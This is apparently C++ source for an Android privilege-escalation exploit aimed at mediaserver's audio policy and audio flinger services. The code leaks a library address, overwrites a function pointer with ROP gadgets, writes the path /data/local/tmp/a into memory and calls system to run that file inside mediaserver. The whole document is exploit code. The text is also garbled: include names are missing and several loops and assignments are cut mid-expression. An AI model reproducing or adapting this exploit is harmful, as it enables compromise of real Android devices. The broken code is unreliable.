#include #include #include #include #include #include #include #include #include #include #include "primitives.h" #include "memory_map.h" #include "defs.h" #include "gadgets.h" #include "write32.h" #define APM_AUDIO_OUT_DEVICE_REMOTE_ALL (0x8000) namespace android { int main_logic(int argc, char* argv[]) { //Getting the handles for the services sp sm = defaultServiceManager(); sp aps_binder = sm->getService(String16("media.audio_policy")); sp af_binder = sm->getService(String16("media.audio_flinger")); sp aps = interface_cast(aps_binder); sp af = interface_cast(af_binder); if (aps == NULL || af == NULL) { printf("[-] Failed to connect to audio services\n"); return -ENOENT; } printf("[+] Got audio policy service: %p\n", aps.get()); printf("[+] Got audio flinger service: %p\n", af.get()); //Incrementing the "device" field of one of the OutputDescriptors so that it will //have the APM_AUDIO_OUT_DEVICE_REMOTE_ALL flag on. //This will enable us to use the relative read using isStreamActiveRemotely from //the same base address printf("Incrementing the device field to be a remote device\n"); for (int i=0; igetInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0); uint32_t audio_primary_library_address = read_function_pointer_address - READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS; printf("Read function pointer %08X -> Assuming primary library load address is %08X\n", read_function_pointer_address, audio_primary_library_address); //Changing the get_input_buffer_size function pointer to a BX-LR //This is done so that we can get the address of the audio_hw_device_t instance wanted_value = + bx_lr_gadget_info.library_offset + bx_lr_gadget_info.gadget_offset; printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value); modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value); funcptr_current_value = wanted_value; uint32_t primary_device_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0); printf("[+] Got address of audio_hw_device_t: %08X\n", primary_device_address); set_primary_device_address(primary_device_address); //Changing the get_input_buffer_size function pointer to a write gadget wanted_value = + write_gadget_info.library_offset + write_gadget_info.gadget_offset; printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value); modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value); funcptr_current_value = wanted_value; //Preparing the information for the "system" execution uint32_t scratch_pad_address = primary_device_address + 12; //This is the location of the reserved 12 DWORDs const char* wanted_path = "/data/local/tmp/a"; uint32_t* data_ptr = (uint32_t*)wanted_path; int num_of_dwords_in_path = (strlen(wanted_path)/sizeof(uint32_t)) + 1; printf("[+] Writing %d DWORDs of path %s to %08X\n", num_of_dwords_in_path, wanted_path, scratch_pad_address); for (int i=0; igetInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0); printf("[+] Finished system-ing in mediaserver\n"); return 0; } } int main(int argc, char* argv[]) { return android::main_logic(argc, argv); }